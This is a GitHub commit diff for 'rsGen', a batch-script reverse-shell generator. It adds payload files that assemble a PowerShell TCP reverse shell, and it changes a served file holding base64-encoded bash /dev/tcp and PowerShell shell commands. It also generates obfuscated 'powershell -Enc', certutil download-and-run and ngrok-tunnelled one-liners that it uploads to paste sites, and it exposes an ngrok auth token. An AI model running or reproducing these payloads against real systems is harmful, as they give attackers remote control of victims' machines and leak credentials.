Skip to content

Commit f4a9ccb

Browse files
committed
Modify poweshell payload
1 parent cd08e51 commit f4a9ccb

7 files changed

Lines changed: 57 additions & 114 deletions

File tree

include/ngrok.exe

-512 Bytes
Binary file not shown.

include/ngrok.yml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1 +1,3 @@
11
authtoken: 1pqNPomgd8IS4MEVD5ixWqbynci_7qPUV8PQ9bZhDhR23gvBq
2+
web_addr: 44480
3+
region: ap

include/pcat.ps1

Lines changed: 1 addition & 96 deletions
Original file line numberDiff line numberDiff line change
@@ -21,103 +21,8 @@ function pcat
2121
[alias("Help")][switch]$h=$False
2222
)
2323

24-
############### HELP ###############
25-
$Help = "
26-
pcat - Netcat, The Powershell Version
27-
Github Repository: https://github.com/besimorhino/pcat
28-
29-
This script attempts to implement the features of netcat in a powershell
30-
script. It also contains extra features such as built-in relays, execute
31-
powershell, and a dnscat2 client.
32-
33-
Usage: pcat [-c or -l] [-p port] [options]
34-
35-
-c <ip> Client Mode. Provide the IP of the system you wish to connect to.
36-
If you are using -dns, specify the DNS Server to send queries to.
37-
38-
-l Listen Mode. Start a listener on the port specified by -p.
39-
40-
-p <port> Port. The port to connect to, or the port to listen on.
41-
42-
-e <proc> Execute. Specify the name of the process to start.
43-
44-
-ep Execute Powershell. Start a pseudo powershell session. You can
45-
declare variables and execute commands, but if you try to enter
46-
another shell (nslookup, netsh, cmd, etc.) the shell will hang.
47-
48-
-r <str> Relay. Used for relaying network traffic between two nodes.
49-
Client Relay Format: -r <protocol>:<ip addr>:<port>
50-
Listener Relay Format: -r <protocol>:<port>
51-
DNSCat2 Relay Format: -r dns:<dns server>:<dns port>:<domain>
52-
53-
-u UDP Mode. Send traffic over UDP. Because it's UDP, the client
54-
must send data before the server can respond.
55-
56-
-dns <domain> DNS Mode. Send traffic over the dnscat2 dns covert channel.
57-
Specify the dns server to -c, the dns port to -p, and specify the
58-
domain to this option, -dns. This is only a client.
59-
Get the server here: https://github.com/iagox86/dnscat2
60-
61-
-dnsft <int> DNS Failure Threshold. This is how many bad packets the client can
62-
recieve before exiting. Set to zero when receiving files, and set high
63-
for more stability over the internet.
64-
65-
-t <int> Timeout. The number of seconds to wait before giving up on listening or
66-
connecting. Default: 60
67-
68-
-i <input> Input. Provide data to be sent down the pipe as soon as a connection is
69-
established. Used for moving files. You can provide the path to a file,
70-
a byte array object, or a string. You can also pipe any of those into
71-
pcat, like 'aaaaaa' | pcat -c 10.1.1.1 -p 80
72-
73-
-o <type> Output. Specify how pcat should return information to the console.
74-
Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
75-
76-
-of <path> Output File. Specify the path to a file to write output to.
77-
78-
-d Disconnect. pcat will disconnect after the connection is established
79-
and the input from -i is sent. Used for scanning.
80-
81-
-rep Repeater. pcat will continually restart after it is disconnected.
82-
Used for setting up a persistent server.
83-
84-
-g Generate Payload. Returns a script as a string which will execute the
85-
pcat with the options you have specified. -i, -d, and -rep will not
86-
be incorporated.
87-
88-
-ge Generate Encoded Payload. Does the same as -g, but returns a string which
89-
can be executed in this way: powershell -E <encoded string>
90-
91-
-h Print this help message.
9224

93-
Examples:
94-
95-
Listen on port 8000 and print the output to the console.
96-
pcat -l -p 8000
97-
98-
Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
99-
pcat -c 10.1.1.1 -p 443 -e cmd -v
100-
101-
Connect to the dnscat2 server on c2.example.com, and send dns queries
102-
to the dns server on 10.1.1.1 port 53.
103-
pcat -c 10.1.1.1 -p 53 -dns c2.example.com
104-
105-
Send a file to 10.1.1.15 port 8000.
106-
pcat -c 10.1.1.15 -p 8000 -i C:\inputfile
107-
108-
Write the data sent to the local listener on port 4444 to C:\outfile
109-
pcat -l -p 4444 -of C:\outfile
110-
111-
Listen on port 8000 and repeatedly server a powershell shell.
112-
pcat -l -p 8000 -ep -rep
113-
114-
Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
115-
pcat -l -p 8000 -r tcp:10.1.1.1:9000
116-
117-
Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
118-
sending queries to 10.1.1.1 port 53.
119-
pcat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
120-
"
25+
#$Help =
12126
if($h){return $Help}
12227
############### HELP ###############
12328

include/www/i

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
L2Jpbi9iYXNoIC1pPiYvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=&powershell -EP Bypass -NoLogo -NonI -NoP -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAOgA4ADAALwBwAGMAYQB0AC4AcABzADEAJwApADsAcABjAGEAdAAgAC0AYwAgADEAOQAyAC4AMQA2ADgALgAxAC4AMQAgAC0AcAAgADgAOAA4ADgAIAAtAGUAIABjAG0AZAA=
1+
L2Jpbi9iYXNoIC1pPiYvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx&powershell -EP Bypass -NoLogo -NonI -NoP -Enc JABjAHQAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAyADcALgAwAC4AMAAuADEAJwAsADkAOQA5ADkAKQA7ACQAcwB0AD0AJABjAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHQAPQAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAPQAkAHMAdAAuAFIAZQBhAGQAKAAkAGIAdAAsACAAMAAsACAAJABiAHQALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB0ACwAMAAsACAAJABpACkAOwAkAHMAYgA9ACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxAHwATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAYgAyACAAPQAkAHMAYgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAnAD4AJwA7ACQAcwBkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMAdAAuAFcAcgBpAHQAZQAoACQAcwBkACwAMAAsACQAcwBkAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAHQALgBDAGwAbwBzAGUAKAApAA==
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
$ct=New-Object System.Net.Sockets.TCPClient(''
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
);$st=$ct.GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$st.Read($bt, 0, $bt.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bt,0, $i);$sb=(iex $data 2>&1|Out-String );$sb2 =$sb+(pwd).Path+''>'';$sd=([text.encoding]::ASCII).GetBytes($sb2);$st.Write($sd,0,$sd.Length);$st.Flush()};$ct.Close()

rsGen.bat

Lines changed: 51 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -191,14 +191,17 @@ if "%~1" equ "" (
191191

192192
) else (
193193
if not "%2"=="-ngrok" (
194+
echo ok
194195
if not "%2"=="-pgrok" (
195196
if "!rs_os_flag!"=="W10" (
197+
call :rs_banner_w10_start
196198
echo + Host:Port ^<==^> %~1:%~2
197199
call :rs_info_w10windows_start
198200
call :rs_windows_command_raw_start %~1 %~2
199201
call :rs_info_w10linux_start
200202
call :rs_linux_command_raw_start %~1 %~2
201203
) else (
204+
call :rs_banner_w7_start
202205
echo + Host:Port ^<==^> %~1:%~2
203206
call :rs_info_w7windows_start
204207
call :rs_windows_command_raw_start %~1 %~2
@@ -277,6 +280,7 @@ for /f %%i in ('findstr /b /c:"-" /v "%temp%\rs_temp_output.rsg"') do (
277280
:rs_clean_tempfile_start
278281
if exist "%temp%\rs_temp_input.rsg" del /q %temp%\rs_temp_input.rsg
279282
if exist "%temp%\rs_temp_output.rsg" del /q %temp%\rs_temp_output.rsg
283+
if exist "%temp%\powershell_listener.tmp" del /q %temp%\powershell_listener.tmp
280284
goto :eof
281285
:rs_clean_tempfile_end
282286

@@ -291,7 +295,6 @@ if exist "%cd%\include\pcat.ps1" (
291295
powershell -c write-host "' - Unable to start listening,Missing file %cd%\include\pcat.ps1.'" -f red -n 2>nul
292296
goto rs_help_start
293297
)
294-
295298
goto :eof
296299
:rs_local_listen_end
297300

@@ -305,14 +308,14 @@ if exist "%cd%\include\ngrok.exe" (
305308
set rs_n=0
306309
FOR /L %%i in (1,1,30) do (
307310
set /a rs_n=!rs_n!+1
308-
%cd%\include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:4040/api/tunnels|find /i "ngrok.io" >nul&&set rs_ngrok=0
311+
%cd%\include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:44480/api/tunnels|find /i "ngrok.io" >nul&&set rs_ngrok=0
309312
if !rs_ngrok! == 0 goto :rs_ngrok_host
310313
)
311314

312315
:rs_ngrok_host
313316
if !rs_ngrok! == 0 (
314-
FOR /F "tokens=9 delims==://" %%i in ('%cd%\include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:4040/api/tunnels') do (set rs_ngrok_host=%%i)
315-
FOR /F tokens^=11^ delims^=^:^,^" %%i in ('%cd%\include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:4040/api/tunnels') do (set rs_ngrok_port=%%i)
317+
FOR /F "tokens=9 delims==://" %%i in ('%cd%\include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:44480/api/tunnels') do (set rs_ngrok_host=%%i)
318+
FOR /F tokens^=11^ delims^=^:^,^" %%i in ('%cd%\include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:44480/api/tunnels') do (set rs_ngrok_port=%%i)
316319

317320
set rs_listen_host=
318321
set rs_listen_host=!rs_ngrok_host!
@@ -372,15 +375,33 @@ set rs_listen_host=
372375
set rs_listen_port=
373376
set rs_listen_host=%1
374377
set rs_listen_port=%2
378+
call :rs_powershell_listener_payload_start !rs_listen_host! !rs_listen_port!
375379
if "!rs_os_flag!"=="W10" (
376-
echo [92m powershell -Ep Bypass -NoLogo -NonI -NoP -c IEX^(New-Object System.Net.Webclient^).DownloadString^('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'^);powercat -c !rs_listen_host! -p !rs_listen_port! -e cmd[0m
380+
echo [92m powershell -EP Bypass -NoLogo -NonI -NoP -Enc !powershell_listener_payload![0m
377381
echo,
378382
) else (
379-
echo powershell -Ep Bypass -NoLogo -NonI -NoP -c IEX^(New-Object System.Net.Webclient^).DownloadString^('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'^);powercat -c !rs_listen_host! -p !rs_listen_port! -e cmd
383+
echo powershell -EP Bypass -NoLogo -NonI -NoP -Enc '!powershell_listener_payload!'
380384
)
381385
goto :eof
382386
:rs_windows_command_raw_end
383387

388+
::rs_powershell_listener_payload_start
389+
:rs_powershell_listener_payload_start
390+
set powershell_listener_payload=
391+
set rs_powershell_listener_payload_pre=
392+
set rs_powershell_listener_payload_suf=
393+
set /p rs_powershell_listener_payload_pre=<%cd%\payload\powershell_listener_1.payload
394+
set /p rs_powershell_listener_payload_suf=<%cd%\payload\powershell_listener_2.payload
395+
set powershell_listener_payload=!rs_powershell_listener_payload_pre!!rs_listen_host!'',!rs_listen_port!!rs_powershell_listener_payload_suf!
396+
powershell -c "[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('!powershell_listener_payload!'))|out-file -Encoding ascii %temp%\powershell_listener.tmp"
397+
::echo !powershell_listener_payload!
398+
::type %temp%\powershell_listener.tmp
399+
::set /p powershell_listener_payload=<%temp%\powershell_listener.tmp
400+
for /f "delims= tokens=1,2" %%i in (%temp%\powershell_listener.tmp) do set powershell_listener_payload=%%i
401+
::echo !powershell_listener_payload!
402+
goto :eof
403+
::rs_powershell_listener_payload_end
404+
384405
:rs_linux_command_raw_start
385406
set rs_listen_host=
386407
set rs_listen_port=
@@ -434,25 +455,34 @@ if exist "%cd%\include\mongoose.exe" (
434455
) else (
435456
powershell -c write-host "' - Missing file `"%cd%\include\mongoose.exe`",The web service failed to start`,the LAN mode needs to start the web service locally`,so the command will not be executed effectively'" -f red -n 2>nul
436457
)
458+
459+
set rs_ps_command_pre_lan=
460+
set ps_command_suf_raw_lan=
461+
set linux_command_raw_lan=
462+
set rs_ps_command_suf_b64_lan=
463+
set rs_command_b64_lan=
464+
465+
call :rs_powershell_listener_payload_start
466+
set rs_ps_command_b64=!powershell_listener_payload!
467+
::echo !rs_ps_command_b64!
468+
437469
set "rs_ps_command_pre_lan=&powershell -EP Bypass -NoLogo -NonI -NoP -Enc "
438-
set "ps_command_suf_raw_lan=IEX (New-Object System.Net.Webclient).DownloadString(''http://%rs_listen_host%:%rs_webport%/pcat.ps1'');pcat -c !rs_listen_host! -p !rs_listen_port! -e cmd"
439470
set "linux_command_raw_lan=/bin/bash -i>&/dev/tcp/!rs_listen_host!/!rs_listen_port! 0>&1"
440471
call :rs_base64_encode_start "!linux_command_raw_lan!"
441472
set rs_linux_command_b64_lan=%rsgen_b64_res%
442-
powershell -c "[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('%ps_command_suf_raw_lan%'))|out-file -Encoding ascii %temp%\rs_temp_input.rsg"
443-
set /p rs_ps_command_suf_b64_lan=<%temp%\rs_temp_input.rsg
444-
set "rs_command_b64_lan=!rs_linux_command_b64_lan!!rs_ps_command_pre_lan!!rs_ps_command_suf_b64_lan!"
473+
set "rs_command_b64_lan=!rs_linux_command_b64_lan!!rs_ps_command_pre_lan!!rs_ps_command_b64!"
445474
echo !rs_command_b64_lan!>%cd%\include\www\i
446475
call :rs_http_post_start "!rs_listen_host!" "%temp%\rs_temp_output.rsg"
447476
set /p rs_ip2dec=<%temp%\rs_temp_output.rsg
477+
448478
if "!rs_os_flag!"=="W10" (
449479
if "!rs_webport!" equ "80" (
450480
set rs_webport_display=
451481
) else (
452482
set "rs_webport_display=:%rs_webport%"
453483
)
454484
call :rs_info_w10windows_start
455-
echo [92m powershell -Ep Bypass -NoLogo -NonI -NoP -c IEX^(New-Object System.Net.Webclient^).DownloadString^('http://!rs_listen_host!!rs_webport_display!/pcat.ps1'^);pcat -c !rs_listen_host! -p !rs_listen_port! -e cmd[0m
485+
echo [92m powershell -EP Bypass -NoLogo -NonI -NoP -Enc !powershell_listener_payload![0m
456486
echo,
457487
echo  certutil -urlcache -split -f http://!rs_listen_host!!rs_webport_display!/i cd.bat^|cd.bat
458488
echo,
@@ -483,7 +513,7 @@ if "!rs_os_flag!"=="W10" (
483513
set "rs_webport_display=:%rs_webport%"
484514
)
485515
call :rs_info_w7windows_start
486-
echo powershell -Ep Bypass -NoLogo -NonI -NoP -c IEX^(New-Object System.Net.Webclient^).DownloadString^('http://!rs_listen_host!!rs_webport_display!/pcat.ps1'^);pcat -c !rs_listen_host! -p !rs_listen_port! -e cmd
516+
echo powershell -EP Bypass -NoLogo -NonI -NoP -Enc !powershell_listener_payload!
487517
echo,
488518
echo certutil -urlcache -split -f http://!rs_listen_host!!rs_webport_display!/i cd.bat^|cd.bat
489519
echo,
@@ -587,19 +617,21 @@ goto :eof
587617
:rs_command_generate_pub_start
588618
set rs_listen_host=
589619
set rs_listen_port=
620+
set rs_ps_command_suf_b64=
621+
set rs_linux_command_b64=
622+
set rs_command_b64=
590623
set rs_listen_host=%1
591624
set rs_listen_port=%2
592625
set "rs_ps_command_pre=&powershell -EP Bypass -NoLogo -NonI -NoP -Enc "
593-
set "ps_command_suf_raw=IEX (New-Object System.Net.Webclient).DownloadString(''https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'');powercat -c !rs_listen_host! -p !rs_listen_port! -e cmd"
626+
call :rs_powershell_listener_payload_start
594627
set "linux_command_raw=/bin/bash -i>&/dev/tcp/!rs_listen_host!/!rs_listen_port! 0>&1"
595628
call :rs_base64_encode_start "!linux_command_raw!"
596629
set rs_linux_command_b64=%rsgen_b64_res%
597630
::echo %rs_linux_command_b64%
598-
powershell -c "[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('%ps_command_suf_raw%'))|out-file -Encoding ascii %temp%\rs_temp_input.rsg"
599-
set /p rs_ps_command_suf_b64=<%temp%\rs_temp_input.rsg
631+
set rs_ps_command_suf_b64=!powershell_listener_payload!
600632
::echo %rs_ps_command_suf_b64%
601633
set "rs_command_b64=!rs_linux_command_b64!!rs_ps_command_pre!!rs_ps_command_suf_b64!"
602-
::echo !rs_command_b64!>%temp%\rs_command_b64.rsg
634+
::echo !rs_command_b64!
603635
call :rs_command_upload_start
604636
if "!rs_pastebin_status!"=="-1" (
605637
if "!rs_dpaste_status!"=="-1" (
@@ -653,7 +685,9 @@ var xhr = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
653685
var AdoDBObj = new ActiveXObject("ADODB.Stream");
654686
if (args.Length == 6 ) {
655687
url = args.Item(1)
656-
data = args.Item(2).replace("+", "%2B").replace("&", "%26");
688+
data = args.Item(2).replace("+","%2B").replace("&","%26").replace("+","%2B").replace("+","%2B").replace("+","%2B");
689+
//WScript.Echo(data)
690+
//WScript.Quit(666);
657691
filename = args.Item(3)
658692
ip = args.Item(4)
659693
ipfilename = args.Item(5)

0 commit comments

Comments
 (0)